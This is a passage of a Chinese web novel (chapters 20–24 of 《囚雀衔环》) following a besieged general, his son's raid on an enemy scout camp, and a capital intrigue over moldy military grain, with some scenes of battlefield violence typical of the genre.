只可惜,她走得匆忙,没能留下只言片语,也没留神算个好时机……当时推开寝宫大门,摔倒在门槛上,不顾唇齿冒血,抬头注视着房梁,发出撕心裂肺的痛哭声的,是年仅八岁的唐知文。 …… 老皇帝禁不住偏开视线,强行敛回心神。 他到底是老了,没心力再去仔细听太子又说了些什么,左右这个大儿子很少犯错,便摆了摆手,无暇再管,示意他们可以走了。 唐知理这才行了个礼,有些狼狈从地上爬了起来。 他跪久了腿麻,走起路来有些踉跄,本以为今日这遭算是熬过去了,一出门,却见唐知文好生站在外面,正等着他呢。 这位太子殿下,他的好大哥,上下打量了他一眼,未做评价,却是问道:“你有认识什么……姓温的人吗?” - 柏青舟看向站在门口的身影,抬手示意对方坐下:“普洱茶饼,温公子尝尝?” 20. 探子 《囚雀衔环》全本免费阅读 “柏平昀眼下被困在辛城出不来,已经落入了包围圈,”一个男人坐在主位旁,邀功似的开口,仿佛辛城已经成了他们的囊中之物,“他粮食短缺,而我们又堵住了外援的道,前后包夹,他撑不过三五日,到时候只能打开城门……” 帐篷内,坐在主座上的男人闻言笑了,嗓音低沉:“他们自己人先起了内讧,竟然给这些‘骁勇善战’的战士们吃霉粮,上天这一次站在了我们恰达勒这边……” 另一个男人紧跟着阿谀奉承道:“也幸亏乌汗族长神机妙算……” 乌汗坐在座位上一摆手,四下瞬间噤声,才慢悠悠地说道:“包围圈才堪堪成型,明日一早,让人去给探子营送我密报……” 话音一落,滋滋的烤火声在夜里回荡,肤色棕黑的男人们挽起衣袖,露出坚实的臂膀,围着篝火大快朵颐。 他们的祖先早些年就生活在这片土地的边缘,平日里放牧牛羊,风吹日晒惯了,一代代传下来,棕色的皮肤便成了他们的标识——那是恰达勒一族力量的象征。 有了力量,他们便不再满足于此——人本贪婪,谁不想活得闲散舒适? 仅仅单论口腹之欲,饿了有铁锅爆炒香气四溢的山珍海味,冷了有放好调料温火慢炖的浓汤,多得是他们没能见过、尝过,甚至听说过的美味……而不是一年四季只有炭火和羊腿。 更遑论那地下埋着挖都挖不完的金银财宝,绵延山川里藏着数不尽的湖泊水源…… 那里的人群是占尽了地利的“幸运儿”,活得智慧、富足。 因此他们认为上天不公,明明生活在同一片土地,为什么他们恰达勒就要被如此薄待。 于是他们告诫一代又一代,教导他们,应当去争夺属于恰达勒的那份“公平”。 他们在无数个黑夜里磨锋利了手中的刀,踩着破晓的黎明杀入了筑有城墙的城镇。 这里的每一个人都在用他们细皮嫩肉的身躯拼死抵抗,勇敢又脆弱,试图与残酷的现实作斗争——最终也只能徒劳的变成恰达勒的刀下亡魂,徒劳的听着婴儿的啼哭,徒劳的看着自己的家乡被这群蛮夷烧杀抢掠…… 直到十几年过去,这些不老不朽的城池迎来了又一位能带领它们反击的将领。 - 柏清河三人一路骑马疾行,头顶星影稀疏,月光从斑驳树影中落下,勉强起了点照明的作用。 这山路并不好走,杂草树枝跟藤条似的抽在身上,直打得望尘龇牙咧嘴。 “少爷,等下岔路口右转出山,就到辛城了。”望洋在后面说道。 “辛城周围估计有包围圈,不能转,接着往前,”柏清河比了个手势,声音在黑夜的风声中显得格外凛冽,“既然来了,我们的目标就不能只是救人。” 他话音未落,又蹬了一脚马肚,咧嘴笑了:“……省得恰达勒里那些个老畜生还真以为老子废在皇城了。” 柏清河自幼顽皮,喜欢翻墙出门就算了,偏偏还爱往茶楼里钻——偏僻的茶楼里往往有讲故事讲得最有趣的说书先生,他手里没钱,就蹲在角落听,听千古风流人物,听风花雪月,也听马革裹尸人未还。 说书先生讲的故事不总换,听得多了,有些剧情也算能倒背如流。 不知是哪天突然开了窍……这时间太久远,柏清河记不清了,只记得自己一路撒丫子狂奔,一头撞进他爹的书房,嚷嚷着要当英雄。 柏平昀笑了,像是知道童言无忌,笑得前仰后合:“英雄?你想当什么英雄?” “我觉得像爹这样的就很好,像那种……”柏清河不明所以,却也跟着笑;他跳上板凳,威风凛凛地一挥手,“……我会一直冲在最前方,砍下过界者的首级;只要是我出现过的地方,敌人的马蹄就永远得望而却步。” “这都是你从哪儿听来的歪词,”柏平昀伸手弹了这小屁孩一个脑瓜崩,笑得更开怀了,“英雄可不好当,旁人敬重你爹,才称呼我一声大帅……你才多大点,就想当这片土地的英雄了……” “那我就当大帅!” “臭小子!你爹我还没准备要退位让贤呢!” “……那就将领,将领也帅!” 现在想想,可当真是……哪有他这种只带了两个人的鸡毛将领啊。 柏清河抬起头,望着眼前由泥土和石块堆砌起来的高塔,无端想起了他爹书房里的沙盘,又想起了这些年来学过的兵法,最后扯着嘴角笑了…… 这他娘的能打个屁的兵法。 柏清河抬手,示意勒马,说道:“前面是探子营,我们得就地拴马,摸黑杀进去。” 就地拴马的风险很大,如果敌人及时反应过来,他们就会被围困在营里,在刀光剑影下变成待宰的羔羊。 ……如果敌人手中有飞火筒*,情况只会更糟。 “以乌汗的习惯,探子营人数不会多,”柏清河翻身下马,回头对另外两人分析道,“其中最大的变数便是飞火筒的数量未知,因此我们不能闹出动静,得在敌方任何一人发觉之前就让他们人头落地。” “明白,”望洋点了点头,“什么时候动手?” 望尘左右看看,忍不住深呼吸了几次,直到现在,他才有了点即将提刀杀人的实感。 柏清河将缰绳缠绕在树干上,待到带着两人走出山头,才从腰间摸出了随身携带的短刀,一声令下。 “……现在。” 探子营里早已熄了灯火,只剩高塔上留着一盏油灯,冒出点点星光,旁边坐着一个打着瞌睡的守夜人。 辛城战事十拿九稳,他们恰达勒被柏平昀压了这么多年,已经不知道多久没有打过这么痛快淋漓的仗了——要他说,乌汗族长还是太谨慎,就该直接带人强破辛城城门,将柏平昀那老匹夫的人头砍下来,挂在城门顶晒上个三天三夜,以此来证明他们恰达勒的强大。 守夜人想着,不由得嗤笑一声。 罢了,不着急,有乌汗族长在,等柏平昀老了,这偌大一片土地便再无将领,柏家将只剩下一个瘸子和一个顽劣,谁还能带兵出征? 这片土地终将归属于恰达勒。 “嘘……” 柏清河身如鬼魅,眨眼间的功夫已经摸到了高塔正下方,和望洋一人一边,迅速捂住了巡逻人的口鼻,横刀一抹,被按住的人甚至来不及挣扎,脑袋便只剩一丝皮肉还连着脖颈,一松手,就跟被小孩踢飞的皮球似的,骨碌碌地滚远了。 望尘个头小,骨架轻,脚下身法是三人中最快的,贴着缝儿,率先溜进了探子营。 三人从小训练 21. 狗洞 《囚雀衔环》全本免费阅读 那探子被抓着,身上的衣物全被望尘翻了个底朝天,藏在身上的密报自然没被落下,柏清河低头扫了两眼,塞入袖中。 “所以现在已经派出了三波人马,准备分别围困住辛城的三面,仅剩南面——也就是我们目前所处的方向还剩一个缺口。” 柏清河垂眸擦着手里的刀,这刀是两年前柏平昀那老头送他的生日礼物,昨夜算头一回出鞘,就饮尽了喉头血。 他漫不经心地接道:“乌汗那老贼估计没料到我们敢就这么单枪匹马的杀过来。” 随后蹲下身,平视着面前这位已然血流如注,好似即将跟地里干涸的血块融为一体的探子,冷笑一声。 “说说吧,挑点我不知道的内容说——刚才不是叫得挺大声,少在这给我装哑巴。” 那探子呼吸缓慢,眼皮耸拉,半晌才从喉咙里憋出一句:“……恰达勒……没有背主的叛徒……” 此言一出,剩下三人都笑了。 “得,奴隶制这套算是被你们给玩明白了,还真让我有点难办啊,”柏清河摇头,叹了口气,随即站起身,从背后的人头堆里挑挑拣拣,总算是拎出来一个,丢到了对方面前,“还说没叛徒呢……那你倒是猜猜,我们是怎么在这里蹲到你的?” ……那是守夜人的头颅。 探子咽了口唾沫,恰达勒前线主营和探子营依照惯例,始终保持着一定频率的联系,以防有任何重要信息被遗漏——这份经年维持的频率直到前几天才被打破,改为了两天一次,只为死死盯住柏平昀的动向。 这份消息只有每个探子营里轮班的几个守夜人才知道。 “既然想明白了就别再讲笑话了,听着都害臊。”柏清河始终盯着对方的表情,对这股动摇心如明镜,心下冷笑一声,挥了挥手。 “也罢,不想说就不说,我又不是你们那该死的奴隶主,非得逼着人做事……家父在家时已经把乌汗那老不死的行军习惯透了个底掉,我也就多余问你一嘴……” 那探子悚然抬头,“家父”二字在他脑中转了一圈才回过味儿来,眼神里透着不可置信。 “你,你是……” 与此同时,收到柏清河手势信号的望洋和望尘两人已经手脚利索地将这位毫无反抗之力的男人捆上了马背。 “这马倒是匹好马,两地来往数次,想必肯定记得回主营的路,”柏清河轻轻拍了两下马头,得了马的一声嗤鼻,才轻笑着转回身,对上那探子的目光,“到时候你要是活着见到乌汗了,劳驾带句话,就说……” “晚辈柏清河,初出茅庐,不懂规矩,又逢时间仓促,仅以此薄礼,聊表敬意。” …… 望尘看着马撒蹄远去的背影,有些遗憾地问道:“少爷,就咱们这么把他给放走了?” “……密报内容是我随口胡诌的。” 柏清河说着,点了下望尘的脑门。 这世上可没有哪个缺心眼的首领会在这种容易留下痕迹的书信里写下如此详细的内容——因为无论使用何种方式传递,都会有泄密的风险。 而那个探子却对他念出口的内容毫无反应,只能说明他并没有打开密报的权限,根本不知道里面的真实内容。 这人知道的还没守夜人多,问也白问。 因此对方存在的最后意义就是变成柏清河送给乌汗的“口信”。 三人出了探子营,回头往来路走去,回到拴马的树下,解了缰绳,翻身上马。 望洋留心问了一句:“二少爷,我们现在前往辛城,会不会跟包围圈的人撞上?” “不会,”柏清河摇头,朝两人分析道,“老头子送信用的是鹰,脚程快,没被拦截,说明对方肯定是在鹰启程后才有所行动,若是老头子有意拖延,对方甚至有可能在昨晚——也就是我们出发后才得知消息,且按照他们的地理位置,至少需要在两个方向上绕路才能形成有效包围圈,那么在脚程上计算……” 先前在外人面前倒是好好叫着“家父”,这一转头的功夫,就变成了一口一个“老头子”。 望尘头疼得捂着脑袋:“少爷,你能不能别一口气说这么多,我听着头晕……” 柏清河:“……” 柏二少爷自己也没想到,之前在皇城里人人都爱批判他胸无点墨,出来后竟然还有嫌弃旁人的机会。 他回去后非得把望尘这不学无术的东西按在书房揍一顿,让人抄三天三夜的兵书不可。 “简单来讲,我们不需要绕路,可以直接从辛城的东城墙进城,跟老头子汇合。” “可是……东城墙并没有城门啊,我们怎么进去……” 望尘话说一半,抬头正巧对上柏清河看过来的视线,越说底气越不足,到最后简直声若蚊蝇。 ……不错,至少这傻孩子对地图的了解过关了。 柏清河苦中作乐地想着。 “战备状态,有城门也不可能给我们开,”柏清河干笑一声,拉紧缰绳,“祈祷一下那老头子没骗人吧,我们不走城门,得钻‘狗洞’进去。” - 辛城的地理位置特殊,可以算得上是前不着村、旁不着店,因此恰达勒但凡开战,这座城便会不可避免的被卷入进去。 久而久之,在这座城里生活的人们被迫缩小了自己的生活范围,靠近城墙的三五里地内,和城墙外的树林无甚差别——都是一片荒无人烟。 柏平昀带领军队落脚的地方正是这片城墙内的荒林。 一个男人慌慌张张地跑到了柏平昀的营帐处,不敢贸然入内,只能站在外面说道:“柏大帅,军情急报!” “进来。” 柏平昀这临时搭建的小营帐内简朴到几乎没有任何陈设,他从主座上站起身,朝门外那人问道,“什么事?” “乌汗那边已经得了消息,知道我们这次的军粮有问题,正在派兵将我们围堵在辛城中,”男人试图用最简短的语言迅速将内容描述清楚,“而仅凭我们如今仅剩的军粮哪怕再加上辛城百姓的援助……别说撑到下一批军粮的运输了,甚至都撑不够三五日……” “乌汗昨夜应当已经有所行动,此事先勿声张,以免扰乱军心。” 柏平昀摆了摆手,示意对方不必如此慌张:“不必惊慌,我们的援军也在路上了,军粮的事情我来想办法……随行军医那边怎么说?” “中招的人大部分都已经缓过来了,剩下一小部分人的症状也因为服药有所好转……” “行,我知道了。”柏平昀点点头,“你先出去吧。” “是,大帅。” 待男人走后,柏平昀坐在座位上思虑半晌,才起身走出了营帐。 他小心翼翼地避过耳目,一个人绕出了这临时搭建的营地,在荒林里站了半晌,抬手放在唇边,还没等吹口哨,树上便扑棱棱飞下来一只灰色猎鹰,摆着翅膀停在了他 22. 烈酒 《囚雀衔环》全本免费阅读 两天的时间里,柏青舟自然也没能在皇城里闲着。 温言在那日的“交谈”过后,竟然真的开始尽职尽责的给柏青舟当上了侍卫,成天跟着对方出入在各大酒楼和茶馆不说,偶尔遇到些不对盘的,还得很有眼力见地停下来给他们留个打机锋的空当——短短两日,温言已经有些明白了为什么北城里的人都觉得柏二少爷是个不务正业的二世祖。 因为相比之下,柏青舟这位大少爷实在是太忙了。 好在温言本人有着相对沉默寡言的性子,即使这份忙避不开他,他从不多过问,仅仅只是眼皮一撩,像个事不关己的旁观者看着对方在谈生意的时候见缝插针,明里暗里地试探了不少人…… 比较意外的是,柏青舟使用的试探手段并不高级,像是并不担心对方听明白他的用意似的,属于“说者无心、听者有意”那一挂——若是没有参与过相关事情的人,只会当他是多嘴一问;若是参与过,必然能听出他的言外之意,背上得起一层冷汗。 在此之前,温言对这种场面的见识并不多,听他们唇枪舌战只觉得头疼……直到闲下来后仔细一琢磨,才总算是捋明白了对方在暗自探查的内容。 好像是辛城的粮出了问题。 温言按照指示,推着轮椅进了书房,难得低声问道:“所以柏清河是因此去了辛城?” 柏青舟的书房向来清净,推门而入便能闻到股淡淡的墨水味,仿佛误入了什么文人书香之地。 而与书房内布局格格不入的,则是桌旁多出来的一把椅子——本是给总爱来打搅的柏清河留的专属,如今正主不在,倒是成了温言的临时座位。 柏青舟闻言,略一挑眉。 这还是温言第一次开口朝他打听东西,果不其然,内容与柏清河有关。 于是他心下对温言的盘算又多了一层——毕竟对方摆出来的态度很明确:我对你们柏家、柏府不感兴趣,对你柏青舟也不感兴趣…… 我只对柏清河感兴趣。 柏青舟还真有点好奇,自己那个整日里花天酒地的弟弟到底是有何德何能,能吸引来这么号人物的惦记。 茶壶里的茶这回又换了种新的,柏青舟虽心下琢磨,面上却不显,只端起茶杯,摇着头吹了两下,答道:“是,也不全是。” 话罢,他倒也不瞒着,抬手指了指桌面,示意温言自己看。 桌上摊着几张写满了零碎字迹的纸张,待看清上面的内容后,温言轻轻皱了下眉。 霉粮、恰达勒、乌汗…… 他原以为,需要柏清河亲自离开皇城去做的事,应当是急迫、重要但并不危险的事,毕竟柏青舟那日神色如常,同时……这人只带走了望尘和望洋。 三个人能做什么? 若只是需要在辛城内探查些什么,怕柏清河人生地不熟,独身难以妥当,那么三人已经足够形成里应外合之势;况且他们三个的身手都不差,无论如何,在城内能遇到的“危险”情况基本是少到可以被忽略不计的。 可一旦涉及到“恰达勒”,问题的麻烦程度便直线上升,同时彻底推翻了温言之前自认为逻辑自洽的所有猜测,也意味着柏清河的交手对象和目的绝不仅仅停留在了城内。 他不懂时政,从来没有人教过他这个,因此对“恰达勒”的了解还仅仅停留在民间传闻的阶段,却也能敏锐的察觉出来,这些东西才是柏清河真正要去面对的“危险”。 当然,他不懂,不代表柏青舟也不懂。 柏青舟垂眸,手中热茶翻起了层层白雾,看不清他脸上的表情。 这事里有些巧合,他暂时还没想通。 比如乌汗虽一直有率领恰达勒在边境和柏平昀互相试探,但对方此次的出兵时间与霉粮事发相隔太接近,像是有人早已经就计划好了,专门等在这个时间段,送给了柏平昀一份大礼。 莫非当真是时运不济……? “霉粮是从皇城运过去的皇粮,”柏青舟伸手,将桌面上的纸一张张收拾好,摞在一起,腾出一片空位,再以茶代墨,粗略地画出了几条线路图,“想查源头,便只能从皇城内部开始查。” 温言似懂非懂地看着这几条茶水渍。 柏青舟循循善诱道:“我虽能确定这批货走的是皇家的粮马道,但单一条道便会涉及到上下数个管事,更何况这些生意早已被分在当朝两位皇子手下,人手皆不从宫中走,也许会出现鱼龙混杂的情况……” “这事难查清,最大的问题便是我们没法确定这批粮到底是从什么时间、在哪个环节出的问题……” 温言总算跟上了对方的思路,若有所思道:“但是你已经有怀疑对象了。” “当然有,甚至不止一个,”柏青舟扯着嘴角笑了一下,“所以才需要逐一排查,缩小范围,弄清楚到底是怎么回事。” 温言低下脑袋,仔细思索后,才明白了对方的意图:“柏大少爷,帮你排查并不在我的任务范围内。” “为什么不在?倘若我在此期间出了任何问题,温公子至少该负 ‘看护不当’的责任,”柏青舟脸上依旧是那副笑意吟吟的表情,活像被一只老狐狸附了身,“放心,重要的事我自己来,小事么……温公子就当是行行好,体谅一下我这位行动不便的瘸子,怎么样?” 温言:“……” 不怎么样。 温言越听这话越耳熟,忍着头疼努力回忆,才总算是想起自己到底是在哪儿听过这话了。 在那个差点被灰给活埋了的医馆药房里。 ……这兄弟俩威胁人的样子可真像是一个模子里刻出来的。 柏青舟午后闲暇,竟然真在书房里花了半个时辰捣鼓出了一份粗略名单,塞进了温言手里。 温言接过,垂眸看了两秒,手里的纸张瞬间被捏皱了。 ……亏他先前还觉得这柏大少爷是个待人和善的,如今一看,分明也是个热爱压榨劳动力的黑心商人! 温言敢怒不敢言,只能在心里默默给柏清河加上一笔。 ——等这人回来,要是敢再不给他结工钱,他们兄弟俩就都死定了。 温言出门后并未按照柏青舟给的名单和地点行进,而是拐了个弯,难得迈步进了青鸢阁。 “真是稀客啊,你怎么来了?”锦桢正独自一人懒洋洋地倒在靠垫上,见温言入内,挑了下眉,就算是打过招呼了,“莫不是来给我送行的?” 这话说的,跟要驾鹤西去了似的。 “看你一时半会儿还死不了,没准备送,”温言找了个看起来相对干净的坐垫坐下,开门见山地问道,“你俩今晚就出发去辛城?” “是啊,阁主前两天刚说这事那会儿,我不就跟你知会了一声,锦哲在收拾行李呢,”锦桢转过头,笑着朝着窗外吐了口烟圈,“你怎么突然关心起我的事了?” 温言摸着面前的酒杯,沉默半晌。 这阵沉默实在磨人,锦桢若有所思地回头看去,直了直身子,却并没有开口催促。 “……柏清河如今也在辛城,”温言叹了口气,踌躇良久后成功把开头憋出了口,剩下的反而说得顺当了,“若是……你们遇着了有利益冲突的地方,锦桢,能不能麻烦你手下留情……多给他点时间……” 利益冲突? 锦桢把这四个字揉碎了,翻来覆去地想,才总算是明白了对方的意思。 他们这种人会涉及到的“利益冲突”,可从来都不是金钱这种可以失而复得的东西。 ……那大概率是命。 “……温言,我曾经怎么就没发现,你这人胆子竟然这么大……甚至敢来教/唆我玩命啊。” 锦桢像是第一天认识坐在自己对面的人,用眼神上下仔细打量了对方一圈,才勾唇一笑:“可是不行啊,温言,你没怎么求过人吧,知不知道空着手来求人……看着相当的没诚意啊……” 被锦桢这么一打岔,温言也不再那般局促:“那怎么办,等你这次回来给你搬一箱钱,你稀罕么?” 23. 知理 《囚雀衔环》全本免费阅读 温言被锦桢连拖带拽地硬拉进了街角,吐了个昏天黑地。 吐完后,温言才有些虚弱地扶着墙,发出了一声轻笑:“锦桢,你这人可真是别扭……” 明明刚才言语逼迫人灌酒的是他,结果现在紧张得不行,强行给人催吐的也是他。 “疯子最没资格说别人,”锦桢站在一旁,翻了个白眼,“我刚才那意思是让你喝吗,啊?我是让你掂量掂量,想清楚,别他娘的一时心软就乱犯浑。” 结果这人倒好,硬是把好心当成驴肝肺,上赶着犯浑,还犯得比谁都快。 此番话中带刺,刺得温言抬眸,本想就着“犯浑”一词辩驳一二,却瞧见对方难得收起了平日里那副不着调的样,垂着眼帘,不知在想些什么。 于是他也不好再开口,只能抿着唇,选择了继续沉默。 “罢了,我们俩认识了这么久,还真是第一次见你这狼狈样,”两人相顾无言半晌,最终还是锦桢重新叼着烟嘴开了口,“说句难听的,今日这么一遭,才总算是让我觉得……” “温言你啊,终于活得像个人了。” 温言:“……” 锦桢也反应过来了这话中的歧义,低头闷笑:“我可没在骂你。” 时隔十年,这位无欲无求的红尘客,竟然也迎来了排在生死之上的“欲求”。 姗姗来迟,何等稀奇。 “我知道。”温言偏过头,拍了拍衣袍上沾着的灰尘,脸色还有些苍白,“别忘了你答应的,我还有事,下次再聊。” “答应了答应了,”锦桢啧了一声,“急什么,好歹上楼吃点东西再走啊……我可没听说阁主最近给你下了什么大任务。” 温言不愿多说:“私事。” “私个屁,你能有什么私事。” 估计之前是真被气到了,锦桢话中用词难得比平日粗鲁,心念电转间灵光一现,抖着烟枪指向温言:“……你别告诉我,你正在帮柏清河办私事。” 温言不置可否。 “……不对,柏清河如今人在辛城,你帮不到他,甚至来找了我,”锦桢往常虽然不着调惯了,但本身也是个头脑聪慧的,瞬间便捋明白了其中关窍,“原来如此,你是在帮柏青舟处理私事。” 这话说的……听起来就有点过于暧昧了。 “……也不完全算处理私事。”温言嘴上虽这么说,却眼神偏移,避免了和对方的视线接触。 锦桢哪还有什么不明白的。 他就说怎么最近有传闻讲柏大少爷身边换了个面容姣好的新保镖。 原来这接了这份“美差”的人远在天边、近在眼前啊。 锦桢一咬牙,恨铁不成钢地骂道:“温言,你真他娘的是个彻头彻尾的疯子。” “嗯,还行吧,”温言对此不过耸耸肩,在这严肃的氛围里插入了个并不幽默的俏皮话,“我倒没觉得有那么糟糕。” 锦桢:“……” 这人的脑子绝对大有问题! “温言,我还是得好心提醒你一句,你若是真想为柏清河好,就该离他远点,”锦桢抽了口烟,头一回这般抽得慢吐得也慢,将话中的停顿无限拉长,“道不同不相为谋,这道理你该明白。” 温言当然明白。 “……最后一次。”温言知晓锦桢的意思,摆了摆手,示意告辞,“你放心,我有分寸。” 我放个屁的心。 你有个屁的分寸。 锦桢算是彻底领教了温言这人油盐不进的程度,对于已经认定的事,想劝他回头与对牛弹琴当真是无甚差别。 不过温言自己并不这么想。 他踩着沿途的落叶离开,响声簌簌,像一段独特的、压在心尖上的弦音。 他清醒的知道,锦桢说的是对的。 面对柏清河的擅自闯入,哪怕他愿意一次次地为其放低底线,再送对方点无伤大雅的“可供利用”的机会,那也只不过是他单方面的一厢情愿而已。 他不应该因此贪心,更没资格有所奢求。 既然说是最后一次,那就该是最后一次。 ——只不过是这最后一次的时限有些长罢了。 温言抬手,随意地拂落了一片搭在肩头的枫叶。 火红的,宛如溅落在外的心头血。 - “你说,他柏青舟在查辛城的粮?”唐知理看着面前畏畏缩缩的男人,皱着眉问道。 “是,是啊,”男人半弯着腰,哆哆嗦嗦地从实道来,“这事儿好几条粮道上的掌柜都听说了,我也是今儿下午才见着人,不是那柏大少爷亲自来的,是个没见过的年轻人……他来了也没多问,就打听了管事的掌柜是谁和粮道归属于谁,我一一实诚答了,他也就点点头,在店里转了两圈就走了……” 这事来得蹊跷。 “等等,”如今已是深夜,唐知理单披着一件外袍,冷风吹得他有些头疼,“刚没来得及问,辛城的粮出什么问题了,又是怎么跟柏家扯上的关系?” 那半夜睡不着跑来找主心骨的男人一听这话,简直是叫苦不迭——让这二皇子当主事人的人真该倒八辈子的霉,瞧瞧,这火都惹到家门口了,主事人还什么都不知情呢。 男人没辙,只能火急火燎地将事情原委讲了一遍:“辛城那边的掌柜前些日子说是得了二皇子您的口信,挑了个黄道吉日开仓放粮,卖给百姓的粮足足比往常多了两成,价格照旧,赚了个盆满钵满……” 唐知理无端想起前两日老皇帝让他跪在殿里的事,当时对方是怎么说的来着……好像说是只有辛城的粮道赚了钱,但赚得不多,补不上亏的,否则也不可能斥责痛骂他那么久。 既然如此,何来盆满钵满一说? “赚钱嘛,本来是好事,但这边给百姓的粮多了,那边应当要定期供给柏家的军饷便少了,当时那掌柜的还非说没事,这年丰收,来得粮多,足够分……可哪里足够分呢,等真正上了运粮车,下面的人才发现分明足足少了好些,他们找不着人问,没法子,只能往里塞往年剩下的那些霉粮……那都是用来喂牲口的烂粮啊,给人吃了是肯定要出问题的……” “柏大少爷应是得了柏大帅的家书,已经知道这事儿了,现在正查着呢,”男人说着,几乎是要在唐知理面前跪下了,“今日他已经派人来了店里,想来是快要查到我和管事掌柜的头上了,再这么由着柏大少爷层层的往上查,到时候怕是连您都要被一块儿揪出来,到时候谁都没法独善其身啊二皇子……” 唐知理虽贵为皇子,却是个不受宠的,没什么实权的二皇子;而柏青舟除开柏大少爷这层身份,同时还是当朝太子殿下的好友……若是未来真有了冲突,光是一个太子横在中间,就够他唐知理喝一壶的了。 唐知理哪里见过这种场面,细想之下,当即抬手捂着胸口,被说得冷汗直冒。 他脑子虽转得没那么快,却也慢半拍的听明白了,这事儿的问题出在那管事掌柜身上。 口信? “不对……这不对,我没有给过这种口信……”唐知理低 24. 线索 《囚雀衔环》全本免费阅读 柏平昀给三人安排了个角落里的空营帐,等柏清河洗完澡回来,对方已经怡然自得地在他营帐里煮起了热奶茶。 柏清河看着这老头就想起来之前在坑底被踹的一脸黑灰,皱着眉道:“你坐这么好干什么,这是我营帐。” “没大没小,你说你一个大男人,怎么生得这么小气,”柏平昀一拍膝盖,倒了两杯热奶茶,“来一口?” 柏清河也懒得跟这老头客气,落座在对面,仰头一饮而尽。 “你从皇城出发到这里,花的时间比我预计的要长,”柏平昀也仰头干了一碗,空碗相碰,算是正式结束了父子俩的寒暄,开口问道,“莫不是被什么事给耽搁了?” “乌汗三面围堵,我能绕的路就那么两条,你会不知道?”柏清河放下碗,就着空无一物的桌面点了几个方位,又比划出了两条线路,“所以也不算耽搁……我先绕了趟探子营,给那老匹夫来了个下马威,才转路来的辛城……” 柏平昀望着桌面,忍不住笑了。 “好小子,出其不意,胆子倒是不小。” “远比不上您算得精呢,”柏清河哼笑一声,句中阴阳味儿显而易见,“算准了战备状态城门不开,我无论什么时候来,都只能爬东城墙下面的狗洞……您怕是早已在旁恭候多时了吧。” 就等着见他这灰头土脸的狼狈样呢。 “你这臭小子真是……什么都好,就是爱记仇,”柏平昀啧了一声,又给自己倒上一小碗热奶茶,才道,“男人心眼小了最不好,小心以后讨不着夫人。” “我讨个屁……” 柏清河被这老头说得额头青筋直跳,脑中却不知怎的,划过了一道热衷于穿着黑色长袍的身影;那身影甚至正栩栩如生地拢着袖口,期间抬眸看向他一回,便平白把他的声音看得逐渐弱了下去。 柏平昀何等人精,瞬间来劲儿了,眉头一挑道:“哟,你小子不会还真有喜欢的姑娘吧?哪家的?” “……没有姑娘,不讨夫人,你这老头少在这给我扯闲篇,”柏清河搓了搓耳朵,难得露出了点慌乱,一闪而过,说出口的话倒是义正严辞,“霉粮的事情解决了吗,你竟然还有心思在这里胡说八道,后面那三万将士可还在张着嘴要饭呢。” 哎哟,说话跟连珠炮似的,看来是真急了。 柏平昀心里闷笑,还是决定给这臭小子留点面子,暂时当个看破不说破的好父亲。 “没解决啊,这不是在等你来解决吗,”他摊着手,状似无奈地说道,“不然你们单枪匹马的来辛城干嘛,来陪我这老头子共患难,一起被困啊?” 柏清河:…… 这倒是,还真被这老头给说中了。 柏平昀喝了两口热奶茶,站起身说道:“……得了吧,你肯定没这份善心,既然敢来,就说明对这件事已经有了些分析和判断,不算毫无头绪,况且车上的粮还能至少再顶两天,此事暂且不急,我们先来聊点别的。” 柏清河听见这老头说“聊点别的”就眼皮一跳,正要敬谢不敏,却听对方问道。 “你听说过谭旭吗?” 谭旭,曾经跟着柏平昀出生入死过几次,混得了不小的军功;在柏平昀升为元帅后,他也跟着成为了负责镇守辛城,以防恰达勒进犯的一方将军。 此人与柏平昀年岁相当,却迟迟没有家室。 最大的原因,便是这谭旭是个整日里只想着寻欢作乐、花天酒地的老色鬼。 在柏清河还没出生的时候,谭旭就早已是那北城花街的老主顾了。 这人手里一有钱,便会去那有了新姐儿的楼里溜达两圈,被莺莺燕燕们哄着喝上点小酒,再挑个看得顺眼的共度春宵,由于出手阔绰,倒也留下了个“风流”的名声。 只不过柏平昀对此尤为不齿,曾将此人的种种“光鲜”事迹像讲故事似的说给他俩儿子听过,本想借此以作警醒——只是小孩子哪听得懂这些,只能记住柏大帅被柏夫人揪着耳朵拎了出去,骂他不给孩子教点好的的情形。 于是柏清河心下纳罕,没明白这老头为什么突然提起此人,却还是点了点头:“有点印象,我没记错的话,应当是负责镇守辛城的……这人出什么问题了?” “他跑了。” 柏平昀垂眸答道:“一周前跑的。” “什么?谁跑了?”柏清河的声音明显提高了些,带着藏不住的震惊,“等等,一周前……那就是你还没来接手的时候,他就已经跑了?” 柏平昀掏了掏耳朵,被这突如其来的大嗓门吵得头疼,反手就是一巴掌拍在对方背上:“对,浑小子你说话能不能小点声……别忘了自己现在是军里的‘黑户’,有点自知之明行吗?” 在现如今这支军队里,柏清河三人来到辛城之事,只有柏平昀一人知晓。 柏清河现在才终于明白了如此藏着掖着的原因。 他仰头,皱着眉望向柏平昀:“你怀疑有内鬼?” 这三万人虽不能说是柏平昀一手带出来的,但其中却是有许多是早几年就跟在他手下一同出生入死过的兄弟。 这份猜疑的人心代价太重了。 “对,这件事的时机太巧合了,我不得不多想,”柏平昀揉着眉心说道,“谭旭是在霉粮进入辛城后的第三天离开的。” “他策马,走得很快,第二天就进到了皇城,我如今还未接到新密报,他现在应该还呆在皇城内。” 这确实是有点巧了。 柏清河撑着下巴道:“我记得你跟我说过,粮食进军队前需要先清点数量,确认无误后才可存放入库。” “对,我去问过了当时负责的副手,他们给了我一张清单,上面的确有着谭旭的亲笔签字。”柏平昀接话道,“但据在场的人说,谭旭当时并未掀开车帘查看,而是直接签了字,让对方将粮车停放在粮仓,便撒手不管了。” 柏平昀状似头疼地坐回到主位上,叹了口气:“最可气的是,他们甚至给我拿出了一沓如此签收的粮单凭据……下面的弟兄们都已经习惯了谭旭这般的行事作风,没人敢质疑……” “……老头,我姑且还是问一嘴啊,”柏清河嘴角抽了抽,“此人显然不是第一次擅离职守,是惯犯,你还准备留他到什么时候?” “具体到什么时候,我说了可不算,你们这些小辈说了才算。”柏平昀突然笑着看了他一眼,意味深长道。 “土地不可一日无将啊……” 在城墙旁边转悠了半天的望尘和负责“看管”他的望洋正好在这时一撩营帐,走了进来。 柏平昀脸上的苦恼瞬间一扫而空,招呼着两人坐下:“回来啦,喝杯热奶茶暖个身子?” ……这煮奶茶的锅倒真是个好锅,煮了这么久还没给里面的东西煮干了。 柏清河在旁边默默想着。 望尘仰着张脸,双手端碗,舒服地叹了口气,才问道:“柏大帅,少爷,你们刚才在聊什么?” 柏清河头也不抬地回道:“聊线索。” 柏平昀闻言,立马饶有兴趣地回过了头:“你还有什么线索,怎么刚才藏着不说?” 